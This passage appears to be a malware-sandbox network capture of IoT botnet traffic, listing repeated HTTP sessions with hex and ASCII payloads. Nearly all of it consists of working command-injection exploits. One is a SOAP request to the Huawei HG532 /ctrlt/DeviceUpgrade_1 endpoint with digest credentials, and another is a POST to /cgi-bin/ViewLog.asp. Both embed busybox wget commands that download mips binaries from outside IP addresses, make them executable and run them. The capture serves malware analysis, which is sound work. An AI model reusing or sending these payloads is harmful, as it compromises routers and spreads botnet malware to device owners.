                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:23:03.864016056 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:23:15.895699978 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                776192.168.2.1535590156.230.27.7337215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:53.745881081 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:57.976150036 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:23:04.119987965 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:23:16.151647091 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                777192.168.2.155089631.136.1.1888080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:53.763629913 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:54.328244925 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:55.448205948 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:57.720155954 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:02.328058958 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:11.287785053 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                778192.168.2.154515862.29.54.878080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:53.803313971 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                779192.168.2.155602662.29.48.758080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:53.803802013 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                780192.168.2.154677694.120.100.2448080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:53.808882952 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
